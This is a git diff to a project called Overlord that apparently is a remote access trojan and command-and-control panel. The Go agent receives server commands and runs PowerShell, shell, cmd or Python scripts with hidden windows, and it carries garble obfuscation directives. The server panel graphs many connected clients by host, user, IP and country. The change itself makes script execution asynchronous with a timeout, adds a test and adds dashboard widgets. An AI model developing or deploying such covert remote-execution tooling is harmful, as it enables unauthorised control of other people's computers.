diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index a629f57..4adf08e 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -17,7 +17,7 @@ import ( "time" ) -var AgentVersion = "2.3.4" +var AgentVersion = "2.3.5" var DefaultPersistence = "false" var DefaultServerURL = "wss://127.0.0.1:5173" diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 627ae70..7b51f21 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2332,7 +2332,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if scriptType == "" { scriptType = "powershell" } - return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType) + StartScriptExecute(ctx, env, cmdID, scriptContent, scriptType) + return nil case "silent_exec": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { diff --git a/Overlord-Client/cmd/agent/handlers/script.go b/Overlord-Client/cmd/agent/handlers/script.go index 83fc31c..2b2e6a5 100644 --- a/Overlord-Client/cmd/agent/handlers/script.go +++ b/Overlord-Client/cmd/agent/handlers/script.go @@ -12,33 +12,46 @@ import ( "overlord-client/cmd/agent/wire" ) +const scriptExecutionTimeout = 5 * time.Minute + +func StartScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) { + goSafe("script execute", env.Cancel, func() { + if err := HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType); err != nil { + log.Printf("script: failed to send result for command %s: %v", cmdID, err) + } + }) +} + func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent)) + execCtx, cancel := context.WithTimeout(ctx, scriptExecutionTimeout) + defer cancel() + var cmd *exec.Cmd switch scriptType { case "powershell": if runtime.GOOS == "windows" { - cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent) + cmd = exec.CommandContext(execCtx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent) } else { - cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent) + cmd = exec.CommandContext(execCtx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent) } case "bash": if runtime.GOOS == "windows" { - cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent) } else { - cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent) } case "sh": - cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "sh", "-c", scriptContent) case "cmd": if runtime.GOOS == "windows" { - cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent) + cmd = exec.CommandContext(execCtx, "cmd.exe", "/c", scriptContent) } else { - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + return writeScriptCommandResult(env, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, @@ -46,11 +59,11 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin }) } case "python": - cmd = exec.CommandContext(ctx, "python", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "python", "-c", scriptContent) case "python3": - cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent) + cmd = exec.CommandContext(execCtx, "python3", "-c", scriptContent) default: - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + return writeScriptCommandResult(env, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, @@ -60,25 +73,21 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin hideCmdWindow(cmd) - timeout := 5 * time.Minute - ctx, cancel := context.WithTimeout(ctx, timeout) - defer cancel() - output, err := cmd.CombinedOutput() if err != nil { - if ctx.Err() == context.DeadlineExceeded { - return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + if execCtx.Err() == context.DeadlineExceeded { + return writeScriptResult(env, wire.ScriptResult{ Type: "script_result", CommandID: cmdID, OK: false, Output: string(output), - Error: "Script execution timed out after " + timeout.String(), + Error: "Script execution timed out after " + scriptExecutionTimeout.String(), }) } - return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + return writeScriptResult(env, wire.ScriptResult{ Type: "script_result", CommandID: cmdID, OK: false, @@ -88,10 +97,22 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin } log.Printf("script: execution completed successfully (%d bytes output)", len(output)) - return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + return writeScriptResult(env, wire.ScriptResult{ Type: "script_result", CommandID: cmdID, OK: true, Output: strings.TrimSpace(string(output)), }) } + +func writeScriptResult(env *agentRuntime.Env, result wire.ScriptResult) error { + writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + return wire.WriteMsg(writeCtx, env.Conn, result) +} + +func writeScriptCommandResult(env *agentRuntime.Env, result wire.CommandResult) error { + writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + return wire.WriteMsg(writeCtx, env.Conn, result) +} diff --git a/Overlord-Client/cmd/agent/handlers/script_test.go b/Overlord-Client/cmd/agent/handlers/script_test.go new file mode 100644 index 0000000..d9cbb8a --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/script_test.go @@ -0,0 +1,100 @@ +package handlers + +import ( + "context" + goruntime "runtime" + "sync" + "testing" + "time" + + "overlord-client/cmd/agent/config" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/vmihailenco/msgpack/v5" + "nhooyr.io/websocket" +) + +type scriptTestWriter struct { + mu sync.Mutex + msgs [][]byte +} + +func (w *scriptTestWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error { + w.mu.Lock() + defer w.mu.Unlock() + w.msgs = append(w.msgs, append([]byte(nil), p...)) + return nil +} + +func (w *scriptTestWriter) popScriptResult() (wire.ScriptResult, bool, error) { + w.mu.Lock() + defer w.mu.Unlock() + for _, msg := range w.msgs { + var result wire.ScriptResult + if err := msgpack.Unmarshal(msg, &result); err != nil { + return wire.ScriptResult{}, false, err + } + if result.Type == "script_result" { + return result, true, nil + } + } + return wire.ScriptResult{}, false, nil +} + +func TestHandleCommandScriptExecRunsAsync(t *testing.T) { + writer := &scriptTestWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + scriptType := "sh" + script := "sleep 0.2; echo done" + if goruntime.GOOS == "windows" { + scriptType = "cmd" + script = "ping 127.0.0.1 -n 2 >NUL & echo done" + } + + envelope := map[string]interface{}{ + "type": "command", + "commandType": "script_exec", + "id": "cmd-script-async", + "payload": map[string]interface{}{ + "script": script, + "type": scriptType, + }, + } + + start := time.Now() + if err := HandleCommand(context.Background(), env, envelope); err != nil { + t.Fatalf("HandleCommand(script_exec) failed: %v", err) + } + if elapsed := time.Since(start); elapsed > 100*time.Millisecond { + t.Fatalf("script_exec blocked dispatcher for %s", elapsed) + } + + deadline := time.After(5 * time.Second) + for { + result, ok, err := writer.popScriptResult() + if err != nil { + t.Fatalf("failed to decode script result: %v", err) + } + if ok { + if !result.OK { + t.Fatalf("expected script ok=true, got error=%q output=%q", result.Error, result.Output) + } + if result.Output != "done" { + t.Fatalf("expected output %q, got %q", "done", result.Output) + } + return + } + + select { + case <-deadline: + t.Fatal("timed out waiting for script result") + default: + time.Sleep(10 * time.Millisecond) + } + } +} diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index 86f2fba..218ad01 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -9,7 +9,10 @@ "@solana/web3.js": "^1.98.4", "adm-zip": "^0.5.12", "ansi-to-html": "0.7.2", + "cytoscape": "^3.34.0", + "fuse.js": "^7.4.1", "geoip-lite": "latest", + "gridstack": "^12.6.0", "jose": "^6.1.3", "msgpackr": "1.11.8", "qrcode": "^1.5.4", @@ -262,6 +265,8 @@ "commander": ["commander@10.0.1", "", {}, "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug=="], + "cytoscape": ["cytoscape@3.34.0", "", {}, "sha512-62rNSrioXw93uliKFBwjukeQyeWwH2PqDrTac31r2P6464u3AUvTk0xS4LVvT251g7IgkFunrI48ZEZGjywSOg=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], "decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="], @@ -310,12 +315,16 @@ "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="], + "fuse.js": ["fuse.js@7.4.1", "", {}, "sha512-AY7lKAXK71hi3WgUvDy6oZL67UEHOOtvCAwVdOXHyJd6ZzftBy7QqxuXt4HxmmAhYjmp/YCuOELZtIvAdlZ+fw=="], + "geoip-lite": ["geoip-lite@2.0.1", "", { "dependencies": { "chalk": "4.1 - 4.1.2", "iconv-lite": "0.4.13 - 0.6.3", "ip-address": "5.8.9 - 5.9.4", "lazy": "1.0.11", "yauzl": "^3.2.1" } }, "sha512-cR9E28nu1a6dsvzB1tANhdmCyXWV1L4AiSCT9alHLIUl06599EGu33mqY99ieU0twQob0kfcDQ/sAUBvHb7swA=="], "get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="], "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], + "gridstack": ["gridstack@12.6.0", "", {}, "sha512-dUrqsormSybFn/2P4Dz8AgprftKD5e/IiV7UmC0XLQU+G+/WtkAeFiCSNLoAGhPDXoJ/O61Xtj3gljY/Ds83yQ=="], + "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], "highlight.js": ["highlight.js@11.9.0", "", {}, "sha512-fJ7cW7fQGCYAkgv4CPfwFHrfd/cLS4Hau96JuJ+ZTOWhjnhoeN1ub1tFmALm/+lW5z4WCAuAV9bm05AP0mS6Gw=="], diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index f70a6c1..494d30a 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -1,6 +1,6 @@ { "name": "overlord-server", - "version": "2.3.4", + "version": "2.3.5", "private": true, "type": "module", "scripts": { @@ -20,7 +20,10 @@ "@solana/web3.js": "^1.98.4", "adm-zip": "^0.5.12", "ansi-to-html": "0.7.2", + "cytoscape": "^3.34.0", + "fuse.js": "^7.4.1", "geoip-lite": "latest", + "gridstack": "^12.6.0", "jose": "^6.1.3", "msgpackr": "1.11.8", "qrcode": "^1.5.4", diff --git a/Overlord-Server/public/assets/client-graph.js b/Overlord-Server/public/assets/client-graph.js new file mode 100644 index 0000000..a00538a --- /dev/null +++ b/Overlord-Server/public/assets/client-graph.js @@ -0,0 +1,341 @@ +const container = document.getElementById("client-graph"); +const searchInput = document.getElementById("graph-search"); +const statusSelect = document.getElementById("graph-status"); +const layoutSelect = document.getElementById("graph-layout"); +const refreshBtn = document.getElementById("graph-refresh"); +const fitBtn = document.getElementById("graph-fit"); +const summaryEl = document.getElementById("graph-summary"); +const detailTitle = document.getElementById("graph-detail-title"); +const detailMeta = document.getElementById("graph-detail-meta"); +const detailActions = document.getElementById("graph-detail-actions"); + +let cy = null; +let currentGraph = null; +let searchTimer = null; +const LARGE_GRAPH_ANIMATION_CLIENTS = 30000; + +const typeColors = { + client: "#38bdf8", + group: "#a78bfa", + build: "#f59e0b", + os: "#22c55e", + country: "#f472b6", + subnet: "#60a5fa", + user: "#f97316", + status: "#64748b", +}; + +function flagEmoji(country) { + const cc = String(country || "").trim().toUpperCase(); + if (!/^[A-Z]{2}$/.test(cc) || cc === "ZZ") return ""; + const base = 0x1f1e6; + return String.fromCodePoint( + base + cc.charCodeAt(0) - 65, + base + cc.charCodeAt(1) - 65, + ); +} + +function osSymbol(osRaw) { + const os = String(osRaw || "").toLowerCase(); + if (os.includes("win")) return "⊞"; + if (os.includes("mac") || os.includes("darwin")) return "⌘"; + if (os.includes("android")) return "▣"; + if (os.includes("ubuntu")) return "◌"; + if (os.includes("debian")) return "◆"; + if (os.includes("fedora")) return "●"; + if (os.includes("freebsd")) return "◇"; + if (os.includes("linux")) return "⬢"; + return "◯"; +} + +function nodeDisplayLabel(data) { + const label = String(data.label || data.id || ""); + if (data.type === "country") { + const flag = flagEmoji(label); + return flag ? `${flag} ${label} ${flag}` : label; + } + if (data.type === "os") return `${osSymbol(label)}\n${label}`; + if (data.type === "status") return `${data.online ? "●" : "○"}\n${label}`; + if (data.type === "group") return `◫\n${label}`; + if (data.type === "build") return `⬡\n${label}`; + if (data.type === "subnet") return `⌁\n${label}`; + if (data.type === "user") return `@\n${label}`; + return label; +} + +function escapeHtml(value) { + return String(value ?? "") + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """); +} + +function setSummary(summary) { + if (!summaryEl) return; + const total = summary.totalClients && summary.totalClients !== summary.clients + ? ` of ${summary.totalClients}` + : ""; + summaryEl.textContent = `${summary.clients}${total} clients, ${summary.online} online, ${summary.relationships} relationships`; +} + +function graphElements(graph) { + return [ + ...graph.nodes.map((node) => ({ + group: "nodes", + data: { + ...node.data, + color: node.data.color || typeColors[node.data.type] || "#94a3b8", + displayLabel: nodeDisplayLabel(node.data), + }, + })), + ...graph.edges.map((edge) => ({ group: "edges", data: edge.data })), + ]; +} + +function shouldAnimateLayout(graph = currentGraph) { + const total = Number(graph?.summary?.totalClients || graph?.summary?.clients || 0); + return total < LARGE_GRAPH_ANIMATION_CLIENTS; +} + +function layoutOptions(name, graph = currentGraph) { + const animate = shouldAnimateLayout(graph); + if (name === "grid") { + return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 }; + } + if (name === "circle") { + return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 }; + } + if (name === "breadthfirst") { + return { name, directed: false, animate, animationDuration: animate ? 260 : 0, padding: 36, spacingFactor: 1.15 }; + } + return { + name: "cose", + animate, + animationDuration: animate ? 360 : 0, + padding: 40, + idealEdgeLength: 110, + nodeRepulsion: 5200, + gravity: 0.28, + numIter: 900, + }; +} + +function showSelection(node) { + if (!detailTitle || !detailMeta || !detailActions) return; + if (!node) { + detailTitle.textContent = "Nothing selected"; + detailMeta.innerHTML = ""; + detailActions.innerHTML = ""; + return; + } + + const data = node.data(); + const meta = data.meta || {}; + const countryFlag = flagEmoji(meta.country || (data.type === "country" ? data.label : "")); + detailTitle.textContent = data.type === "country" && countryFlag + ? `${countryFlag} ${data.label || data.id} ${countryFlag}` + : data.label || data.id; + const rows = [ + ["Type", data.type], + ["Count", data.type === "client" ? "" : data.count || 1], + ["Online", data.type === "client" ? (data.online ? "Yes" : "No") : data.onlineCount || 0], + ["Client ID", data.clientId || meta.id || ""], + ["Host", meta.host || ""], + ["User", meta.user || ""], + ["OS", meta.os || ""], + ["IP", meta.ip || ""], + ["Country", meta.country ? `${countryFlag ? `${countryFlag} ` : ""}${meta.country}${countryFlag ? ` ${countryFlag}` : ""}` : ""], + ["Group", meta.groupName || ""], + ["Build", meta.buildTag || ""], + ].filter(([, value]) => value !== "" && value !== undefined && value !== null); + + detailMeta.innerHTML = rows.map(([label, value]) => ` +
+ ${escapeHtml(label)} + ${escapeHtml(value)} +
+ `).join(""); + + if (data.clientId) { + const id = encodeURIComponent(data.clientId); + const online = data.online === true; + const disabled = online ? "" : " disabled aria-disabled=\"true\" title=\"Client is offline\""; + const disabledNote = online + ? "" + : `
Client is offline
`; + detailActions.innerHTML = ` + ${disabledNote} + + + + + `; + } else { + detailActions.innerHTML = ""; + } +} + +function bindInspectorActions() { + detailActions?.addEventListener("click", async (event) => { + const button = event.target.closest("button"); + if (!button) return; + if (button.disabled || button.getAttribute("aria-disabled") === "true") return; + const href = button.dataset.graphAction; + if (href) { + window.open(href, "_blank", "noopener"); + return; + } + const copyValue = button.dataset.graphCopy; + if (copyValue) { + await navigator.clipboard?.writeText(copyValue); + } + }); +} + +function selectNode(node) { + if (!cy) return; + cy.elements().removeClass("graph-dim graph-focus"); + if (!node) { + showSelection(null); + return; + } + const neighborhood = node.closedNeighborhood(); + cy.elements().difference(neighborhood).addClass("graph-dim"); + neighborhood.addClass("graph-focus"); + showSelection(node); +} + +function renderGraph(graph) { + currentGraph = graph; + setSummary(graph.summary); + + if (!window.cytoscape) { + if (summaryEl) summaryEl.textContent = "Cytoscape failed to load"; + return; + } + + if (!cy) { + cy = window.cytoscape({ + container, + elements: graphElements(graph), + minZoom: 0.18, + maxZoom: 5, + wheelSensitivity: 1.8, + style: [ + { + selector: "node", + style: { + label: "data(displayLabel)", + "background-color": "data(color)", + "border-color": "#020617", + "border-width": 2, + color: "#dbeafe", + "font-family": "Inter, Segoe UI, sans-serif", + "font-size": 11, + "font-weight": 600, + "text-outline-color": "#020617", + "text-outline-width": 3, + "text-valign": "center", + "text-halign": "center", + "line-height": 1.15, + "text-wrap": "wrap", + "text-max-width": 88, + width: "mapData(weight, 1, 12, 28, 74)", + height: "mapData(weight, 1, 12, 28, 74)", + }, + }, + { + selector: 'node[type = "client"]', + style: { + shape: "round-rectangle", + "border-color": "data(color)", + "border-width": 3, + }, + }, + { + selector: 'node[online = true]', + style: { + "border-color": "#22c55e", + }, + }, + { + selector: "edge", + style: { + width: 1.35, + "line-color": "rgba(148, 163, 184, 0.42)", + "target-arrow-shape": "none", + "curve-style": "bezier", + }, + }, + { + selector: ".graph-dim", + style: { + opacity: 0.12, + }, + }, + { + selector: ".graph-focus", + style: { + opacity: 1, + }, + }, + ], + }); + + cy.on("tap", "node", (event) => selectNode(event.target)); + cy.on("tap", (event) => { + if (event.target === cy) selectNode(null); + }); + } else { + cy.elements().remove(); + cy.add(graphElements(graph)); + } + + cy.layout(layoutOptions(layoutSelect?.value || "cose", graph)).run(); + setTimeout(() => cy?.fit(undefined, 32), 420); +} + +async function loadGraph() { + if (!container) return; + if (summaryEl) summaryEl.textContent = "Loading..."; + const params = new URLSearchParams({ + limit: "350", + q: searchInput?.value || "", + status: statusSelect?.value || "all", + }); + const res = await fetch(`/api/client-graph?${params}`, { credentials: "include" }); + if (!res.ok) { + if (summaryEl) summaryEl.textContent = `Graph unavailable (${res.status})`; + return; + } + renderGraph(await res.json()); +} + +function debounceLoad() { + clearTimeout(searchTimer); + searchTimer = setTimeout(loadGraph, 220); +} + +layoutSelect?.addEventListener("change", () => { + if (cy) cy.layout(layoutOptions(layoutSelect.value, currentGraph)).run(); +}); +searchInput?.addEventListener("input", debounceLoad); +statusSelect?.addEventListener("change", loadGraph); +refreshBtn?.addEventListener("click", loadGraph); +fitBtn?.addEventListener("click", () => cy?.fit(undefined, 32)); +window.addEventListener("resize", () => { + cy?.resize(); + cy?.fit(undefined, 32); +}); + +bindInspectorActions(); +loadGraph(); diff --git a/Overlord-Server/public/assets/command-palette.js b/Overlord-Server/public/assets/command-palette.js index f3d0781..cffeeaa 100644 --- a/Overlord-Server/public/assets/command-palette.js +++ b/Overlord-Server/public/assets/command-palette.js @@ -268,6 +268,7 @@ function close() { function navigate(href, newTab = false) { pushRecent(href); if (newTab) window.open(href, "_blank", "noopener"); + else if (window.overlordSoftNavigate) window.overlordSoftNavigate(href); else window.location.href = href; close(); } diff --git a/Overlord-Server/public/assets/dashboard-stats.js b/Overlord-Server/public/assets/dashboard-stats.js index 61ff587..f3ced54 100644 --- a/Overlord-Server/public/assets/dashboard-stats.js +++ b/Overlord-Server/public/assets/dashboard-stats.js @@ -5,12 +5,34 @@ let osChart = null; const STATS_COLLAPSED_KEY = "overlord_dashboard_stats_collapsed"; const STATS_HEIGHT_KEY = "overlord_dashboard_stats_height"; const STATS_ORDER_KEY = "overlord_dashboard_stats_order"; +const STATS_LAYOUT_KEY = "overlord_dashboard_stats_gridstack_layout"; +const STATS_HIDDEN_KEY = "overlord_dashboard_stats_hidden"; const PULSE_ORDER_KEY = "overlord_dashboard_pulse_order"; const DEFAULT_STATS_HEIGHT = 142; const MIN_STATS_HEIGHT = 112; const MAX_STATS_HEIGHT = 280; const DEFAULT_CARD_ORDER = ["online", "sessions", "trend", "fleet", "pulse"]; const DEFAULT_PULSE_ORDER = ["api", "memory", "ping"]; +const DEFAULT_GRID_LAYOUT = { + online: { x: 0, y: 0, w: 2, h: 2 }, + sessions: { x: 2, y: 0, w: 2, h: 2 }, + trend: { x: 4, y: 0, w: 3, h: 2 }, + fleet: { x: 7, y: 0, w: 3, h: 2 }, + pulse: { x: 10, y: 0, w: 2, h: 2 }, +}; +let statsGrid = null; + +function teardownDashboardStats() { + if (metricsTimer) clearInterval(metricsTimer); + metricsTimer = null; + onlineChart?.destroy?.(); + osChart?.destroy?.(); + onlineChart = null; + osChart = null; + statsGrid?.destroy?.(false); + statsGrid = null; + initialized = false; +} const palette = { text: "#cbd5e1", @@ -291,6 +313,239 @@ function applyHeightMode(height) { } } +function getStatsCellHeight() { + return Math.max(48, Math.round(getSavedHeight() / 2)); +} + +function resizeCharts() { + requestAnimationFrame(() => { + onlineChart?.resize(); + osChart?.resize(); + }); +} + +function syncStatsWidgetHeights() { + if (!statsGrid?.engine?.nodes) return; + const cellHeight = Number(statsGrid.opts?.cellHeight) || getStatsCellHeight(); + for (const node of statsGrid.engine.nodes) { + const content = node.el?.querySelector?.(".grid-stack-item-content"); + if (!content) continue; + const estimated = Math.max(64, (Number(node.h) || 2) * cellHeight - 12); + content.style.setProperty("--dashboard-stats-height", `${estimated}px`); + } +} + +function readSavedGridLayout() { + try { + const parsed = JSON.parse(localStorage.getItem(STATS_LAYOUT_KEY) || "[]"); + if (!Array.isArray(parsed)) return []; + return parsed + .filter((item) => DEFAULT_CARD_ORDER.includes(item?.id)) + .map((item) => ({ + id: item.id, + x: Math.max(0, Number(item.x) || 0), + y: Math.max(0, Number(item.y) || 0), + w: Math.max(1, Number(item.w) || DEFAULT_GRID_LAYOUT[item.id]?.w || 2), + h: Math.max(1, Number(item.h) || DEFAULT_GRID_LAYOUT[item.id]?.h || 2), + })); + } catch { + return []; + } +} + +function readHiddenStatsCards() { + try { + const parsed = JSON.parse(localStorage.getItem(STATS_HIDDEN_KEY) || "[]"); + if (!Array.isArray(parsed)) return []; + return parsed.filter((id) => DEFAULT_CARD_ORDER.includes(id)); + } catch { + return []; + } +} + +function saveHiddenStatsCards(hidden) { + const cleaned = Array.from(hidden).filter((id) => DEFAULT_CARD_ORDER.includes(id)); + localStorage.setItem(STATS_HIDDEN_KEY, JSON.stringify(cleaned)); +} + +function isStatsGridManaged(el) { + return !!statsGrid?.engine?.nodes?.some((node) => node.el === el); +} + +function saveStatsGridLayout() { + if (!statsGrid?.engine?.nodes) return; + const layoutMap = new Map( + DEFAULT_CARD_ORDER.map((id) => [id, { id, ...DEFAULT_GRID_LAYOUT[id] }]), + ); + + for (const item of readSavedGridLayout()) { + layoutMap.set(item.id, item); + } + + for (const node of statsGrid.engine.nodes) { + const id = node.el?.dataset?.dashboardCard || node.id; + if (!DEFAULT_CARD_ORDER.includes(id)) continue; + layoutMap.set(id, { id, x: node.x, y: node.y, w: node.w, h: node.h }); + } + + const layout = DEFAULT_CARD_ORDER.map((id) => layoutMap.get(id)); + localStorage.setItem(STATS_LAYOUT_KEY, JSON.stringify(layout)); +} + +function applyGridLayout(layout) { + if (!statsGrid) return; + statsGrid.batchUpdate(); + for (const item of layout) { + const el = document.querySelector(`[data-dashboard-card="${item.id}"]`); + if (el) statsGrid.update(el, { x: item.x, y: item.y, w: item.w, h: item.h }); + } + statsGrid.batchUpdate(false); + syncStatsWidgetHeights(); + resizeCharts(); +} + +function setStatsCardHidden(id, hidden, persist = true) { + if (!DEFAULT_CARD_ORDER.includes(id)) return; + const el = document.querySelector(`[data-dashboard-card="${id}"]`); + if (!el) return; + + if (hidden) { + if (statsGrid && isStatsGridManaged(el)) statsGrid.removeWidget(el, false); + el.classList.add("dashboard-card-hidden"); + } else { + el.classList.remove("dashboard-card-hidden"); + if (statsGrid && !isStatsGridManaged(el)) { + statsGrid.makeWidget(el); + const layout = readSavedGridLayout().find((item) => item.id === id); + statsGrid.update(el, { ...(layout || DEFAULT_GRID_LAYOUT[id]) }); + } + } + + if (persist) { + const nextHidden = new Set(readHiddenStatsCards()); + if (hidden) nextHidden.add(id); + else nextHidden.delete(id); + saveHiddenStatsCards(nextHidden); + saveStatsGridLayout(); + } + + syncStatsWidgetHeights(); + resizeCharts(); +} + +function applyHiddenStatsCards() { + const hidden = new Set(readHiddenStatsCards()); + for (const id of DEFAULT_CARD_ORDER) { + setStatsCardHidden(id, hidden.has(id), false); + } +} + +function syncStatsCardMenu() { + const panel = $("dashboard-card-menu-panel"); + if (!panel) return; + const hidden = new Set(readHiddenStatsCards()); + panel.querySelectorAll("[data-dashboard-card-toggle]").forEach((input) => { + const id = input.dataset.dashboardCardToggle; + input.checked = !hidden.has(id); + }); +} + +function initStatsCardMenu() { + const menu = $("dashboard-card-menu"); + const panel = $("dashboard-card-menu-panel"); + if (!panel || panel.dataset.bound === "true") return; + + panel.dataset.bound = "true"; + syncStatsCardMenu(); + panel.querySelectorAll("[data-dashboard-card-toggle]").forEach((input) => { + input.addEventListener("change", () => { + setStatsCardHidden(input.dataset.dashboardCardToggle, !input.checked); + }); + }); + + menu?.addEventListener("toggle", () => { + if (menu.open) syncStatsCardMenu(); + }); +} + +function applySavedGridLayout() { + const saved = readSavedGridLayout(); + if (saved.length) { + applyGridLayout(saved); + return; + } + + // Preserve older drag-only ordering by converting it into default-size widgets. + const order = readSavedOrder(); + if (!order.length || order.join("|") === DEFAULT_CARD_ORDER.join("|")) return; + const migrated = order.map((id, index) => ({ + id, + ...(DEFAULT_GRID_LAYOUT[id] || { w: 2, h: 2 }), + x: index === 0 ? 0 : undefined, + y: index === 0 ? 0 : undefined, + })); + let x = 0; + for (const item of migrated) { + const width = item.w || 2; + if (x + width > 12) x = 0; + item.x = x; + item.y = 0; + x += width; + } + applyGridLayout(migrated); +} + +function resetStatsGridLayout() { + localStorage.removeItem(STATS_LAYOUT_KEY); + localStorage.removeItem(STATS_HIDDEN_KEY); + for (const id of DEFAULT_CARD_ORDER) { + setStatsCardHidden(id, false, false); + } + syncStatsCardMenu(); + if (!statsGrid) { + const content = $("dashboard-stats-content"); + if (content) applySavedOrder(content); + return; + } + applyGridLayout(DEFAULT_CARD_ORDER.map((id) => ({ id, ...DEFAULT_GRID_LAYOUT[id] }))); +} + +function initStatsGrid(content) { + if (!content || content.dataset.gridstackBound === "true") return; + const api = window.GridStack?.GridStack || window.GridStack; + if (typeof api?.init !== "function") { + applySavedOrder(content); + applyHiddenStatsCards(); + return; + } + + content.dataset.gridstackBound = "true"; + statsGrid = api.init({ + column: 12, + cellHeight: getStatsCellHeight(), + margin: 6, + animate: true, + float: false, + handle: ".grid-stack-item-content", + draggable: { + handle: ".grid-stack-item-content", + appendTo: "body", + scroll: true, + }, + resizable: { handles: "se" }, + }, content); + + applySavedGridLayout(); + applyHiddenStatsCards(); + statsGrid.on("change dragstop resizestop", () => { + syncStatsWidgetHeights(); + saveStatsGridLayout(); + resizeCharts(); + }); + syncStatsWidgetHeights(); + resizeCharts(); +} + function updateOnlineChart(history, snapshot) { if (!onlineChart) return; const rows = aggregateOnlineHistory(history, snapshot); @@ -386,6 +641,8 @@ async function fetchDashboardMetrics() { export function initDashboardStats() { if (initialized) return; initialized = true; + window.removeEventListener("pagehide", teardownDashboardStats); + window.addEventListener("pagehide", teardownDashboardStats); if (!makeCharts()) { setTimeout(() => { if (makeCharts()) applyHeightMode(getSavedHeight()); @@ -403,18 +660,15 @@ function initStatsToggle() { const resizer = $("dashboard-stats-resizer"); if (!shell || !button) return; - const resizeCharts = () => { - requestAnimationFrame(() => { - onlineChart?.resize(); - osChart?.resize(); - }); - }; - const setHeight = (value, persist = true) => { const height = normalizeHeight(value); shell.style.setProperty("--dashboard-stats-height", `${height}px`); resizer?.setAttribute("aria-valuenow", String(height)); if (persist) localStorage.setItem(STATS_HEIGHT_KEY, String(height)); + if (statsGrid) { + statsGrid.cellHeight(getStatsCellHeight()); + syncStatsWidgetHeights(); + } applyHeightMode(height); resizeCharts(); }; @@ -429,7 +683,8 @@ function initStatsToggle() { localStorage.setItem(STATS_COLLAPSED_KEY, collapsed ? "true" : "false"); }; - initCardReorder(); + initStatsGrid($("dashboard-stats-content")); + initStatsCardMenu(); initPulseReorder(); setHeight(getSavedHeight(), false); 